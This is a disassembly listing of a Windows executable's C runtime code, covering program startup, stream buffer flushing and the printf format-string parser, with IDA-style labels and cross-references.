		mov	eax, [esi+4]
		mov	dword_4C591C, eax
		mov	edx, [esi+8]
		mov	dword_4C5920, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_4C5914, esi
		cmp	ecx, 2
		jz	short loc_40F8B2
		or	esi, 8000h
		mov	dword_4C5914, esi


loc_40F8B2:				; CODE XREF: .text:0040F8A4j
		shl	eax, 8
		add	eax, edx
		mov	dword_4C5918, eax
		xor	esi, esi
		push	esi
		mov	edi, dword_419094
		call	edi	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_40F8ED
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_40F8ED
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_40F905
		cmp	eax, 20Bh
		jz	short loc_40F8F2


loc_40F8ED:				; CODE XREF: .text:0040F8CCj
					; .text:0040F8D9j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_40F919
; ---------------------------------------------------------------------------


loc_40F8F2:				; CODE XREF: .text:0040F8EBj
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_40F8ED
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_40F913
; ---------------------------------------------------------------------------


loc_40F905:				; CODE XREF: .text:0040F8E4j
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_40F8ED
		xor	eax, eax
		cmp	[ecx+0E8h], esi


loc_40F913:				; CODE XREF: .text:0040F903j
		setnz	al
		mov	[ebp-1Ch], eax


loc_40F919:				; CODE XREF: .text:0040F8F0j
		push	esi
		call	sub_41202B
		pop	ecx
		test	eax, eax
		jnz	short loc_40F945
		cmp	dword_4C596C, 1
		jnz	short loc_40F932
		call	sub_414629


loc_40F932:				; CODE XREF: .text:0040F92Bj
		push	1Ch
		call	sub_4144B2
		push	0FFh
		call	sub_40DD0D
		pop	ecx
		pop	ecx


loc_40F945:				; CODE XREF: .text:0040F922j
		call	sub_4115B2
		mov	[ebp-4], esi
		call	sub_410364
		test	eax, eax
		jge	short loc_40F95E
		push	1Bh
		call	sub_40F82D
		pop	ecx


loc_40F95E:				; CODE XREF: .text:0040F954j
		call	dword_4191C8	; GetCommandLineA
		mov	dword_4C5EC0, eax
		call	sub_414B11
		mov	dword_4C5964, eax
		call	sub_414A6F
		test	eax, eax
		jge	short loc_40F984
		push	8
		call	sub_40F82D
		pop	ecx


loc_40F984:				; CODE XREF: .text:0040F97Aj
		call	sub_41483C
		test	eax, eax
		jge	short loc_40F995
		push	9
		call	sub_40F82D
		pop	ecx


loc_40F995:				; CODE XREF: .text:0040F98Bj
		call	loc_40DD3D
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	short loc_40F9A8
		push	eax
		call	sub_40F82D
		pop	ecx


loc_40F9A8:				; CODE XREF: .text:0040F99Fj
		mov	[ebp-38h], esi
		lea	eax, [ebp-64h]
		push	eax
		call	dword_4191C4	; GetStartupInfoA
		call	sub_4147D3
		mov	[ebp-68h], eax
		test	byte ptr [ebp-38h], 1
		jz	short loc_40F9C9
		movzx	eax, word ptr [ebp-34h]
		jmp	short loc_40F9CC
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: .text:0040F9C1j
		push	0Ah
		pop	eax


loc_40F9CC:				; CODE XREF: .text:0040F9C7j
		push	eax
		push	dword ptr [ebp-68h]
		push	esi
		push	esi
		call	edi	; GetModuleHandleA
		push	eax
		call	sub_404BAB
		mov	edi, eax
		mov	[ebp-6Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_40F9EA
		push	edi
		call	sub_40DE64


loc_40F9EA:				; CODE XREF: .text:0040F9E2j
		call	sub_40DE86
		jmp	short loc_40FA1C
; ---------------------------------------------------------------------------


loc_40F9F1:				; DATA XREF: .text:stru_41BBB8o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-70h], ecx
		push	eax
		push	ecx
		call	sub_414662
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40FA05:				; DATA XREF: .text:stru_41BBB8o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-70h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_40FA17
		push	edi
		call	sub_40DE75


loc_40FA17:				; CODE XREF: .text:0040FA0Fj
		call	sub_40DE95


loc_40FA1C:				; CODE XREF: .text:0040F9EFj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA2B	proc near		; CODE XREF: sub_40D6BB+4Bp
					; sub_40DFEC+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_40FB34
		test	al, 40h
		jnz	loc_40FB34
		test	al, 1
		jz	short loc_40FA64
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_40FB34
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_40FA64:				; CODE XREF: sub_40FA2B+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_40FAA0
		cmp	esi, offset dword_420FA0
		jz	short loc_40FA8E
		cmp	esi, offset dword_420FC0
		jnz	short loc_40FA99


loc_40FA8E:				; CODE XREF: sub_40FA2B+59j
		push	ebx
		call	sub_414C80
		test	eax, eax
		pop	ecx
		jnz	short loc_40FAA0


loc_40FA99:				; CODE XREF: sub_40FA2B+61j
		push	esi
		call	sub_4106EF
		pop	ecx


loc_40FAA0:				; CODE XREF: sub_40FA2B+51j
					; sub_40FA2B+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_40FB0A
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_40FACD
		push	edi
		push	eax
		push	ebx
		call	sub_41330B
		mov	[ebp+arg_4], eax
		jmp	short loc_40FAFD
; ---------------------------------------------------------------------------


loc_40FACD:				; CODE XREF: sub_40FA2B+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40FAE8
		mov	eax, ebx
		sar	eax, 5
		mov	eax, dword_4C5DC0[eax*4]
		mov	ecx, ebx
		and	ecx, 1Fh
		lea	eax, [eax+ecx*8]
		jmp	short loc_40FAED
; ---------------------------------------------------------------------------


loc_40FAE8:				; CODE XREF: sub_40FA2B+A5j
		mov	eax, offset dword_421260


loc_40FAED:				; CODE XREF: sub_40FA2B+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_40FB00
		push	2
		push	0
		push	ebx
		call	sub_4134BF


loc_40FAFD:				; CODE XREF: sub_40FA2B+A0j
		add	esp, 0Ch


loc_40FB00:				; CODE XREF: sub_40FA2B+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_40FB1E
; ---------------------------------------------------------------------------


loc_40FB0A:				; CODE XREF: sub_40FA2B+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_41330B
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_40FB1E:				; CODE XREF: sub_40FA2B+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_40FB2A
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_40FB3A
; ---------------------------------------------------------------------------


loc_40FB2A:				; CODE XREF: sub_40FA2B+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_40FB3D
; ---------------------------------------------------------------------------


loc_40FB34:				; CODE XREF: sub_40FA2B+10j
					; sub_40FA2B+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax


loc_40FB3A:				; CODE XREF: sub_40FA2B+FDj
		or	eax, 0FFFFFFFFh


loc_40FB3D:				; CODE XREF: sub_40FA2B+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FA2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB41	proc near		; CODE XREF: sub_40FB74+11p
					; sub_40FB98+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_40FB4D
		cmp	dword ptr [ecx+8], 0
		jz	short loc_40FB71


loc_40FB4D:				; CODE XREF: sub_40FB41+4j
		dec	dword ptr [ecx+4]
		js	short loc_40FB5D
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_40FB69
; ---------------------------------------------------------------------------


loc_40FB5D:				; CODE XREF: sub_40FB41+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_40FA2B
		pop	ecx
		pop	ecx


loc_40FB69:				; CODE XREF: sub_40FB41+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FB71
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_40FB71:				; CODE XREF: sub_40FB41+Aj
					; sub_40FB41+2Bj
		inc	dword ptr [esi]
		retn
sub_40FB41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB74	proc near		; CODE XREF: sub_40FBCF+6A2p
					; sub_40FBCF+6CDp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_40FB8F
; ---------------------------------------------------------------------------


loc_40FB7C:				; CODE XREF: sub_40FB74+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_40FB41
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40FB95


loc_40FB8F:				; CODE XREF: sub_40FB74+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_40FB7C


loc_40FB95:				; CODE XREF: sub_40FB74+19j
		pop	esi
		pop	ebp
		retn
sub_40FB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB98	proc near		; CODE XREF: sub_40FBCF+6B6p
					; sub_40FBCF+70Ep ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_40FBC5
		cmp	dword ptr [edi+8], 0
		jnz	short loc_40FBC5
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_40FBCC
; ---------------------------------------------------------------------------


loc_40FBB2:				; CODE XREF: sub_40FB98+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_40FB41
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40FBCC


loc_40FBC5:				; CODE XREF: sub_40FB98+Aj
					; sub_40FB98+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_40FBB2


loc_40FBCC:				; CODE XREF: sub_40FB98+18j
					; sub_40FB98+2Bj
		pop	esi
		pop	ebx
		retn
sub_40FB98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBCF	proc near		; CODE XREF: sub_40D6BB+2Ap
					; sub_40DFEC+29p ...

var_254		= byte ptr -254h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+arg_4]
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_410333
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_40FC07
; ---------------------------------------------------------------------------


loc_40FC04:				; CODE XREF: sub_40FBCF+75Cj
		mov	ecx, [ebp+var_38]


loc_40FC07:				; CODE XREF: sub_40FBCF+33j
		inc	edi
		cmp	[ebp+var_18], 0
		mov	[ebp+arg_4], edi
		jl	loc_410331
		cmp	bl, 20h
		jl	short loc_40FC2E
		cmp	bl, 78h
		jg	short loc_40FC2E
		movsx	eax, bl
		movsx	eax, byte ptr [eax+41BBA8h]
		and	eax, 0Fh
		jmp	short loc_40FC30
; ---------------------------------------------------------------------------


loc_40FC2E:				; CODE XREF: sub_40FBCF+49j
					; sub_40FBCF+4Ej
		xor	eax, eax


loc_40FC30:				; CODE XREF: sub_40FBCF+5Dj
		movsx	eax, byte_41BBC8[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+var_38], eax
		ja	loc_410324	; default
		jmp	off_410344[eax*4] ; switch jump


loc_40FC50:				; DATA XREF: .text:off_410344o
		xor	eax, eax	; jumptable 0040FC49 case 1
		or	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_3C], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], eax
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FC6D:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		movsx	eax, bl		; jumptable 0040FC49 case 2
		sub	eax, 20h
		jz	short loc_40FCB0
		sub	eax, 3
		jz	short loc_40FCA7
		sub	eax, 8
		jz	short loc_40FC9E
		dec	eax
		dec	eax
		jz	short loc_40FC95
		sub	eax, 3
		jnz	loc_410324	; default
		or	[ebp+var_8], 8
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: sub_40FBCF+B2j
		or	[ebp+var_8], 4
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FC9E:				; CODE XREF: sub_40FBCF+AEj
		or	[ebp+var_8], 1
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCA7:				; CODE XREF: sub_40FBCF+A9j
		or	byte ptr [ebp+var_8], 80h
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCB0:				; CODE XREF: sub_40FBCF+A4j
		or	[ebp+var_8], 2
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCB9:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		cmp	bl, 2Ah		; jumptable 0040FC49 case 3
		jnz	short loc_40FCDF
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_24], eax
		jge	loc_410324	; default
		or	[ebp+var_8], 4
		neg	[ebp+var_24]
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCDF:				; CODE XREF: sub_40FBCF+EDj
		mov	eax, [ebp+var_24]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_24], eax
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCF4:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		and	[ebp+var_C], 0	; jumptable 0040FC49 case 4
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		cmp	bl, 2Ah		; jumptable 0040FC49 case 5
		jnz	short loc_40FD20
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_C], eax
		jge	loc_410324	; default
		or	[ebp+var_C], 0FFFFFFFFh
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD20:				; CODE XREF: sub_40FBCF+131j
		mov	eax, [ebp+var_C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD35:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		cmp	bl, 49h		; jumptable 0040FC49 case 6
		jz	short loc_40FD68
		cmp	bl, 68h
		jz	short loc_40FD5F
		cmp	bl, 6Ch
		jz	short loc_40FD56
		cmp	bl, 77h
		jnz	loc_410324	; default
		or	byte ptr [ebp+var_8+1],	8
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD56:				; CODE XREF: sub_40FBCF+173j
		or	[ebp+var_8], 10h
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD5F:				; CODE XREF: sub_40FBCF+16Ej
		or	[ebp+var_8], 20h
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD68:				; CODE XREF: sub_40FBCF+169j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_40FD82
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_40FD82
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_8+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD82:				; CODE XREF: sub_40FBCF+19Dj
					; sub_40FBCF+1A3j
		cmp	al, 33h
		jnz	short loc_40FD9A
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_40FD9A
		inc	edi
		inc	edi
		and	byte ptr [ebp+var_8+1],	7Fh
		mov	[ebp+arg_4], edi
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FD9A:				; CODE XREF: sub_40FBCF+1B5j
					; sub_40FBCF+1BBj
		cmp	al, 64h
		jz	loc_410324	; default
		cmp	al, 69h
		jz	loc_410324	; default
		cmp	al, 6Fh
		jz	loc_410324	; default
		cmp	al, 75h
		jz	loc_410324	; default
		cmp	al, 78h
		jz	loc_410324	; default
		cmp	al, 58h
		jz	loc_410324	; default
		and	[ebp+var_38], 0


loc_40FDCE:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		mov	ecx, off_4214EC	; jumptable 0040FC49 case 0
		and	[ebp+var_28], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40FDF5
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_40FB41
		mov	bl, [edi]
		inc	edi
		mov	[ebp+arg_4], edi


loc_40FDF5:				; CODE XREF: sub_40FBCF+211j
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_40FB41
		jmp	loc_410324	; default
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FBCF+7Aj
					; DATA XREF: .text:off_410344o
		movsx	eax, bl		; jumptable 0040FC49 case 7
		cmp	eax, 67h
		jg	loc_410059
		cmp	eax, 65h
		jge	loc_40FE9C
		cmp	eax, 58h
		jg	loc_40FEFD
		jz	loc_4100DA
		sub	eax, 43h
		jz	loc_40FEBF
		dec	eax
		dec	eax
		jz	short loc_40FE92
		dec	eax
		dec	eax
		jz	short loc_40FE92
		sub	eax, 0Ch
		jnz	loc_410222
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_40FE51
		or	byte ptr [ebp+var_8+1],	8


loc_40FE51:				; CODE XREF: sub_40FBCF+27Cj
					; sub_40FBCF+4A9j
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_40FE5E
		mov	ecx, 7FFFFFFFh


loc_40FE5E:				; CODE XREF: sub_40FBCF+288j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		jz	loc_4100AF
		test	eax, eax
		jnz	short loc_40FE83
		mov	eax, off_42125C
		mov	[ebp+var_10], eax


loc_40FE83:				; CODE XREF: sub_40FBCF+2AAj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], 1
		jmp	loc_4100A1
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40FBCF+267j
					; sub_40FBCF+26Bj
		mov	[ebp+var_3C], 1
		add	bl, 20h


loc_40FE9C:				; CODE XREF: sub_40FBCF+247j
		or	[ebp+var_8], 40h
		cmp	[ebp+var_C], 0
		lea	esi, [ebp+var_254]
		mov	[ebp+var_10], esi
		jge	loc_40FFA3
		mov	[ebp+var_C], 6
		jmp	loc_40FFEA
; ---------------------------------------------------------------------------


loc_40FEBF:				; CODE XREF: sub_40FBCF+25Fj
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_40FECB
		or	byte ptr [ebp+var_8+1],	8


loc_40FECB:				; CODE XREF: sub_40FBCF+2F6j
					; sub_40FBCF+336j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		jz	short loc_40FF3C
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_414CA7
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		jge	short loc_40FF4C
		mov	[ebp+var_34], 1
		jmp	short loc_40FF4C
; ---------------------------------------------------------------------------


loc_40FEFD:				; CODE XREF: sub_40FBCF+250j
		sub	eax, 5Ah
		jz	short loc_40FF5A
		sub	eax, 9
		jz	short loc_40FECB
		dec	eax
		jnz	loc_410222


loc_40FF0E:				; CODE XREF: sub_40FBCF+48Dj
		or	[ebp+var_8], 40h


loc_40FF12:				; CODE XREF: sub_40FBCF+4B1j
		mov	[ebp+var_14], 0Ah


loc_40FF19:				; CODE XREF: sub_40FBCF+519j
					; sub_40FBCF+532j ...
		mov	ebx, [ebp+var_8]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_41014A
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_410172
; ---------------------------------------------------------------------------


loc_40FF3C:				; CODE XREF: sub_40FBCF+309j
		mov	al, [eax-4]
		mov	[ebp+var_254], al
		mov	[ebp+var_14], 1


loc_40FF4C:				; CODE XREF: sub_40FBCF+323j
					; sub_40FBCF+32Cj
		lea	eax, [ebp+var_254]
		mov	[ebp+var_10], eax
		jmp	loc_410222
; ---------------------------------------------------------------------------


loc_40FF5A:				; CODE XREF: sub_40FBCF+331j
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_40FF95
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40FF95
		test	byte ptr [ebp+var_8+1],	8
		movsx	eax, word ptr [eax]
		mov	[ebp+var_10], ecx
		jz	short loc_40FF8C
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_28], 1
		jmp	loc_41021F
; ---------------------------------------------------------------------------


loc_40FF8C:				; CODE XREF: sub_40FBCF+3AAj
		and	[ebp+var_28], 0
		jmp	loc_41021F
; ---------------------------------------------------------------------------


loc_40FF95:				; CODE XREF: sub_40FBCF+397j
					; sub_40FBCF+39Ej
		mov	eax, off_421258
		mov	[ebp+var_10], eax
		push	eax
		jmp	loc_41004E
; ---------------------------------------------------------------------------


loc_40FFA3:				; CODE XREF: sub_40FBCF+2DEj
		jnz	short loc_40FFB3
		cmp	bl, 67h
		jnz	short loc_40FFEA
		mov	[ebp+var_C], 1
		jmp	short loc_40FFEA
; ---------------------------------------------------------------------------


loc_40FFB3:				; CODE XREF: sub_40FBCF:loc_40FFA3j
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_40FFC0
		mov	[ebp+var_C], eax


loc_40FFC0:				; CODE XREF: sub_40FBCF+3ECj
		mov	edi, 0A3h
		cmp	[ebp+var_C], edi
		jle	short loc_40FFEA
		mov	eax, [ebp+var_C]
		add	eax, 15Dh
		push	eax
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_2C], eax
		jz	short loc_40FFE7
		mov	[ebp+var_10], eax
		mov	esi, eax
		jmp	short loc_40FFEA
; ---------------------------------------------------------------------------


loc_40FFE7:				; CODE XREF: sub_40FBCF+40Fj
		mov	[ebp+var_C], edi


loc_40FFEA:				; CODE XREF: sub_40FBCF+2EBj
					; sub_40FBCF+3D9j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+var_3C]
		add	eax, 8
		push	[ebp+var_C]
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_48], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		mov	[ebp+var_4C], ecx
		call	off_421364
		mov	edi, [ebp+var_8]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_41002F
		cmp	[ebp+var_C], 0
		jnz	short loc_41002F
		push	esi
		call	off_421370
		pop	ecx


loc_41002F:				; CODE XREF: sub_40FBCF+450j
					; sub_40FBCF+456j
		cmp	bl, 67h
		jnz	short loc_410040
		test	edi, edi
		jnz	short loc_410040
		push	esi
		call	off_421368
		pop	ecx


loc_410040:				; CODE XREF: sub_40FBCF+463j
					; sub_40FBCF+467j
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41004D
		or	byte ptr [ebp+var_8+1],	1
		inc	esi
		mov	[ebp+var_10], esi


loc_41004D:				; CODE XREF: sub_40FBCF+474j
		push	esi


loc_41004E:				; CODE XREF: sub_40FBCF+3CFj
		call	sub_40D630
		pop	ecx
		jmp	loc_41021F
; ---------------------------------------------------------------------------


loc_410059:				; CODE XREF: sub_40FBCF+23Ej
		sub	eax, 69h
		jz	loc_40FF0E
		sub	eax, 5
		jz	loc_410120
		dec	eax
		jz	loc_410106
		dec	eax
		jz	short loc_4100D3
		sub	eax, 3
		jz	loc_40FE51
		dec	eax
		dec	eax
		jz	loc_40FF12
		sub	eax, 3
		jnz	loc_410222
		mov	[ebp+var_30], 27h
		jmp	short loc_4100DD
; ---------------------------------------------------------------------------


loc_410098:				; CODE XREF: sub_40FBCF+4D4j
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_4100A5
		inc	eax
		inc	eax


loc_4100A1:				; CODE XREF: sub_40FBCF+2BEj
		test	ecx, ecx
		jnz	short loc_410098


loc_4100A5:				; CODE XREF: sub_40FBCF+4CEj
		sub	eax, [ebp+var_10]
		sar	eax, 1
		jmp	loc_41021F
; ---------------------------------------------------------------------------


loc_4100AF:				; CODE XREF: sub_40FBCF+2A2j
		test	eax, eax
		jnz	short loc_4100BB
		mov	eax, off_421258
		mov	[ebp+var_10], eax


loc_4100BB:				; CODE XREF: sub_40FBCF+4E2j
		mov	eax, [ebp+var_10]
		jmp	short loc_4100C7
; ---------------------------------------------------------------------------


loc_4100C0:				; CODE XREF: sub_40FBCF+4FAj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_4100CB
		inc	eax


loc_4100C7:				; CODE XREF: sub_40FBCF+4EFj
		test	ecx, ecx
		jnz	short loc_4100C0


loc_4100CB:				; CODE XREF: sub_40FBCF+4F5j
		sub	eax, [ebp+var_10]
		jmp	loc_41021F
; ---------------------------------------------------------------------------


loc_4100D3:				; CODE XREF: sub_40FBCF+4A4j
		mov	[ebp+var_C], 8


loc_4100DA:				; CODE XREF: sub_40FBCF+256j
		mov	[ebp+var_30], ecx


loc_4100DD:				; CODE XREF: sub_40FBCF+4C7j
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 10h
		jz	loc_40FF19
		mov	al, byte ptr [ebp+var_30]
		add	al, 51h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_1B], al
		mov	[ebp+var_20], 2
		jmp	loc_40FF19
; ---------------------------------------------------------------------------


loc_410106:				; CODE XREF: sub_40FBCF+49Dj
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 8
		jz	loc_40FF19
		or	byte ptr [ebp+var_8+1],	2
		jmp	loc_40FF19
; ---------------------------------------------------------------------------


loc_410120:				; CODE XREF: sub_40FBCF+496j
		add	[ebp+arg_8], 4
		test	byte ptr [ebp+var_8], 20h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		jz	short loc_410139
		mov	cx, word ptr [ebp+var_18]
		mov	[eax], cx
		jmp	short loc_41013E
; ---------------------------------------------------------------------------


loc_410139:				; CODE XREF: sub_40FBCF+55Fj
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx


loc_41013E:				; CODE XREF: sub_40FBCF+568j
		mov	[ebp+var_34], 1
		jmp	loc_410311
; ---------------------------------------------------------------------------


